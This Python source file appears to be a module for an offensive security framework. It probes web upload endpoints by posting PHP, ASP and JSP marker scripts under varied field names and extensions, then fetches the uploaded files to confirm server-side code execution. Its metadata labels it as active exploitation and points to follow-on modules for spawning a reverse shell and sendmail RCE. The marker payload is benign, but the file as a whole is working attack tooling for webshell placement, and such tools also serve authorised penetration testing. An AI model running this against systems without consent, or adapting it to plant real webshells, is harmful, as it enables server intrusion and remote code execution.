Generic Upload Webshell Probe
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Generic multipart upload → webshell probe (non-WordPress).
Tests common upload endpoints and parameter names with a harmless PHP/ASP marker,
then verifies execution via a follow-up GET.
"""
from __future__ import annotations
import random
import string
import urllib.parse
from typing import Any, Dict, List, Optional
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.scanner.http.module_result import finalize_http_scanner_run, target_base_url
class Module(Auxiliary, Http_client):
__info__ = {
"name": "Generic Upload Webshell Probe",
"description": (
"Probe generic file upload surfaces (multipart POST) for unrestricted "
"extension handling and verify a harmless PHP/ASP execution marker."
),
"author": "KittySploit Team",
"tags": ["web", "upload", "webshell", "rce", "scanner", "generic"],
"agent": {
"risk": "intrusive",
"effects": ["network_probe", "active_exploitation"],
"expected_requests": 6,
"reversible": True,
"approval_required": True,
"produces": ["risk_signals", "endpoints", "params"],
"chain": {
"produces_capabilities": [
{"capability": "upload_path", "from_detail": "upload_path"},
{"capability": "rce", "from_detail": "rce_confirmed"},
],
"suggested_followups": [
"post/shell/multi/manage/spawn_reverse_shell",
"post/php/exploits/mail_sendmail_rce",
],
},
},
}
upload_paths = OptString(
"/upload,/api/upload,/files,/file/upload,/media/upload",
"Comma-separated upload paths to probe",
False,
)
field_names = OptString(
"file,upload,document,attachment,image",
"Multipart field names to try",
False,
)
extensions = OptString(
"php,phtml,php5,asp,aspx,jsp",
"Extensions to attempt",
False,
)
marker_prefix = OptString("KSUP", "Webshell marker prefix (harmless echo)", False)
UPLOAD_HINTS = ("upload", "multipart", "file", "attach", "media", "import")
def _rand_token(self, n: int = 8) -> str:
return "".join(random.choices(string.ascii_lowercase + string.digits, k=n))
def _paths(self) -> List[str]:
raw = str(self.upload_paths or "").strip()
paths = [p.strip() for p in raw.split(",") if p.strip()]
discovered = [
str(e).split("?", 1)[0]
for e in (getattr(self, "discovered_endpoints", None) or [])
if any(h in str(e).lower() for h in self.UPLOAD_HINTS)
]
merged = list(dict.fromkeys(paths + discovered))[:16]
return merged or ["/upload"]
def _fields(self) -> List[str]:
return [f.strip() for f in str(self.field_names or "file").split(",") if f.strip()][:8]
def _exts(self) -> List[str]:
return [e.strip().lstrip(".") for e in str(self.extensions or "php").split(",") if e.strip()][:8]
def _multipart_upload(
self,
path: str,
field: str,
filename: str,
body: bytes,
content_type: str,
) -> Optional[Any]:
files = {field: (filename, body, content_type)}
return self.http_request(method="POST", path=path, files=files, allow_redirects=True, timeout=15)
def _verify_marker(self, url: str, marker: str) -> bool:
if not url:
return False
parsed = urllib.parse.urlparse(url)
check_path = parsed.path or url
if not check_path.startswith("/"):
check_path = f"/{check_path}"
response = self.http_request(method="GET", path=check_path, allow_redirects=True, timeout=12)
if not response:
return False
return marker in (response.text or "")
def run(self):
token = self._rand_token()
marker = f"{str(self.marker_prefix or 'KSUP')}_{token}"
php_body = f"<?php echo '{marker}'; ?>".encode()
asp_body = f"<% Response.Write(\"{marker}\") %>".encode()
hits: List[Dict[str, Any]] = []
print_status("Probing generic upload endpoints for webshell placement...")
for path in self._paths():
for field in self._fields():
for ext in self._exts():
filename = f"ks_{token}.{ext}"
body = asp_body if ext in ("asp", "aspx") else php_body
ctype = "application/octet-stream"
response = self._multipart_upload(path, field, filename, body, ctype)
if not response:
continue
if response.status_code not in (200, 201, 204, 302):
continue
candidates: List[str] = []
loc = (response.headers.get("Location") or "").strip()
if loc:
candidates.append(loc)
final_url = getattr(response, "url", "") or ""
if final_url:
candidates.append(final_url)
text = response.text or ""
for hint in ("/uploads/", "/files/", "/media/", filename):
if hint in text:
candidates.append(hint if hint.startswith("/") else f"/{filename}")
verified = False
upload_path = ""
for cand in candidates:
if self._verify_marker(cand, marker):
verified = True
upload_path = cand
break
if verified or response.status_code in (200, 201):
print_success(
f"Upload accepted: {path} field={field} file={filename} "
f"{'EXEC VERIFIED' if verified else 'needs manual verify'}"
)
hits.append({
"vulnerable": verified,
"path": path,
"field": field,
"filename": filename,
"extension": ext,
"status_code": response.status_code,
"upload_path": upload_path or path,
"rce_confirmed": "yes" if verified else "partial",
"indicator": "upload_webshell" if verified else "upload_accepted",
"content_preview": (response.text or "")[:600],
})
if verified:
break
if hits and hits[-1].get("rce_confirmed") == "yes":
break
if hits and hits[-1].get("rce_confirmed") == "yes":
break
chain_extra = {}
if hits:
top = hits[-1]
chain_extra = {
"upload_path": str(top.get("upload_path") or ""),
"upload_field": str(top.get("field") or ""),
"rce_confirmed": str(top.get("rce_confirmed") or ""),
}
return finalize_http_scanner_run(
self,
hits,
title="Generic upload webshell probe",
severity="critical" if any(h.get("rce_confirmed") == "yes" for h in hits) else "high",
category="upload",
findings_key="upload_findings",
hit_mapper=lambda hit: {
"method": "POST",
"request_url": target_base_url(self, path=str(hit.get("path") or "/")),
"param": hit.get("field"),
"status_code": hit.get("status_code"),
"evidence_snippet": hit.get("content_preview") or hit.get("indicator"),
"indicators": [hit.get("indicator")] if hit.get("indicator") else [],
"upload_path": hit.get("upload_path"),
},
vulnerability_info_extra=chain_extra,
)
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